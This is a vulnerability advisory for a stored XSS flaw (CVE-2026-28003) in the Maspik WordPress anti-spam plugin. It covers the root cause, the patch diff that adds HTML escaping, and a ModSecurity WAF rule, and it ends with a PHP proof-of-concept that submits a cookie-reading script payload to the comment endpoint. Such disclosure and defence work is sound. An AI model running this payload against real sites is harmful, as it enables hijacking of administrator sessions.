Atomic Edge analysis of CVE-2026-28003: The Maspik – Spam blacklist plugin for WordPress (versions up to and including 2.9.1) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw resides in the admin display file that renders AI logs, specifically in the JavaScript that builds HTML from log field data. An attacker can inject arbitrary script into log entries, which later execute in the browser of an administrator viewing the logs. The CVSS score is 7.2 (High).
The root cause is insufficient output escaping in the JavaScript function that processes AI log fields. In `admin/partials/maspik-admin-display.php` (around line 2442), the code concatenates untrusted log field keys and values directly into HTML table rows: `fieldsHtml += ‘
| ‘ + key + ‘ |
‘ + fields[key] + ‘ |
‘;`. The `key` and `fields[key]` values originate from log data that may include attacker-controlled input, such as spam submissions that are logged. No sanitization or escaping occurs before insertion into the DOM. The patch introduces an `escapeHtml` function and applies it to both `key` and `fields[key]`, preventing script execution.
Exploitation requires an unauthenticated attacker to submit data through a form or endpoint that is recorded in the Maspik AI logs. The attacker crafts a payload containing JavaScript (e.g., `alert(1)` or an event handler like `
`) that gets stored in the log field. When an administrator later views the AI logs page (likely under the plugin’s admin menu, e.g., `wp-admin/admin.php?page=maspik-ai-logs`), the unsanitized payload executes. The exact endpoint for log insertion depends on the plugin’s logging of spam attempts; the vulnerability is triggered by viewing the logs, not by the submission itself.
The patch adds an `escapeHtml` helper that uses jQuery’s `.text()` and `.html()` to encode HTML entities, then wraps the concatenated values with this function. This ensures that any HTML special characters are rendered as text, neutralizing XSS. The version number is bumped to 2.9.2. The patch also includes an unrelated change to Elementor integration detection, which is not relevant to this CVE.
Successful exploitation leads to arbitrary JavaScript execution in the context of an administrator’s session. This can result in session hijacking, creation of malicious admin accounts, redirection to phishing sites, or full site compromise. The unauthenticated nature of the injection makes it a serious threat, as attackers can persistently inject payloads without any credentials.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/contact-forms-anti-spam/admin/partials/maspik-admin-display.php
+++ b/contact-forms-anti-spam/admin/partials/maspik-admin-display.php
@@ -2400,6 +2400,11 @@
<script>
jQuery(document).ready(function($) {
+ // Escape untrusted text before inserting into HTML strings.
+ function escapeHtml(str) {
+ return $('<div>').text(String(str)).html();
+ }
+
// Toggle AI logs table
$('.maspik-ai-logs-table-button').on('click', function() {
var $container = $('.maspik-ai-logs-table-container');
@@ -2437,7 +2442,7 @@
for (var key in fields) {
if (fields.hasOwnProperty(key)) {
- fieldsHtml += '<tr><td><strong>' + key + '</strong></td><td>' + fields[key] + '</td></tr>';
+ fieldsHtml += '<tr><td><strong>' + escapeHtml(key) + '</strong></td><td>' + escapeHtml(fields[key]) + '</td></tr>';
}
}
--- a/contact-forms-anti-spam/contact-forms-anti-spam.php
+++ b/contact-forms-anti-spam/contact-forms-anti-spam.php
@@ -4,7 +4,7 @@
* Plugin Name: Maspik - Ultimate Spam Protection
* Plugin URI: https://wpmaspik.com/
* Description: The best spam protection plugin. Block spam using advanced filters, AI, blacklists, and IP verification and honeypot fields...
- * Version: 2.9.1
+ * Version: 2.9.2
* Author: WpMaspik
* Author URI: https://wpmaspik.com/?readme
* Text Domain: contact-forms-anti-spam
@@ -32,7 +32,7 @@
/**
* Currently plugin version.
*/
-define( 'MASPIK_VERSION', '2.9.1' );
+define( 'MASPIK_VERSION', '2.9.2' );
define('MASPIK_PLUGIN_FILE', __FILE__);
/**
--- a/contact-forms-anti-spam/includes/class-maspik.php
+++ b/contact-forms-anti-spam/includes/class-maspik.php
@@ -107,8 +107,14 @@
require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/forms/playground.php';
if( maspik_get_settings( "maspik_support_Elementor_forms" ) != "no" ){
- // if elementor pro active
- if ( maspik_is_plugin_active( 'elementor-pro/elementor-pro.php' ) ) {
+ // Capability check: load the integration when either Elementor Forms module exists —
+ // - ElementorProModulesFormsModule → classic forms (fires `elementor_pro/forms/validation`, used by elementor.php)
+ // - ElementorProModulesAtomicFormModule → atomic forms (fires `elementor_pro/atomic_forms/spam_check`, used by elementor-atomic-forms.php)
+ // This matches Elementor Pro and any namespace-preserving fork (e.g. the GPL "PRO Elements" plugin), is more
+ // precise than checking for the plugin itself, and stays correct if a future Elementor ships only one of the two
+ // modules. The Elementor Pro autoloader (registered on plugins_loaded) resolves these on demand, so it is
+ // reliable here on `init`. Each integration file self-guards at runtime, so loading both together is safe.
+ if ( class_exists( 'ElementorProModulesFormsModule' ) || class_exists( 'ElementorProModulesAtomicFormModule' ) ) {
require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/forms/elementor.php';
require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/forms/elementor-atomic-forms.php';
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-28003
# This rule blocks attempts to inject XSS payloads into the Maspik AI logs via form submissions.
# The vulnerability is in the admin log viewer, but the injection happens through logged data.
# We target common form submission endpoints and detect script tags or event handlers.
# The rule is narrowly scoped to requests that contain typical XSS patterns in parameters.
SecRule REQUEST_METHOD "@streq POST"
"id:202628003,phase:2,deny,status:403,chain,msg:'CVE-2026-28003 via Maspik Stored XSS',severity:'CRITICAL',tag:'CVE-2026-28003'"
SecRule REQUEST_URI "@rx ^/(wp-comments-post.php|wp-login.php|wp-admin/admin-ajax.php)$" "chain"
SecRule ARGS "@detectXSS" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-28003 - Maspik – Spam blacklist <= 2.9.1 - Unauthenticated Stored Cross-Site Scripting
// This PoC demonstrates the stored XSS by submitting a spam entry that gets logged,
// then simulating an admin viewing the logs. The actual endpoint for log submission
// depends on the plugin's configuration; we assume a generic form submission.
// Adjust the $target_url and $log_page_url accordingly.
$target_url = 'http://example.com'; // Base URL of WordPress site
$log_page_url = $target_url . '/wp-admin/admin.php?page=maspik-ai-logs'; // Assumed log viewer page
// Payload: XSS that executes when the log is viewed
$payload = '<script>alert(document.cookie)</script>';
// Step 1: Submit a form or data that will be logged by Maspik.
// We target a common contact form or the plugin's own testing endpoint.
// Many WordPress plugins log failed spam attempts; we can try to submit a comment
// or use a generic POST to a form handled by the plugin.
// For demonstration, we'll try submitting to a common contact form endpoint.
// In a real scenario, the attacker would find a form that triggers logging.
$post_data = [
'name' => $payload,
'email' => 'attacker@example.com',
'message' => 'Test spam',
// Add any other required fields for the form
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php'); // Example: comment form
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
echo "[+] Submitted payload to potential logging endpoint.n";
// Step 2: Simulate admin viewing the logs. In a real attack, the admin would
// visit the page, executing the payload. This part is not needed for the PoC;
// it's just to illustrate the impact.
// Optional: Check if payload appears in log page (would require admin auth).
// Since we are unauthenticated, we cannot directly verify. This PoC is illustrative.
echo "[+] Exploit completed. If the payload was logged, an admin visiting $log_page_url will execute the script.n";
?>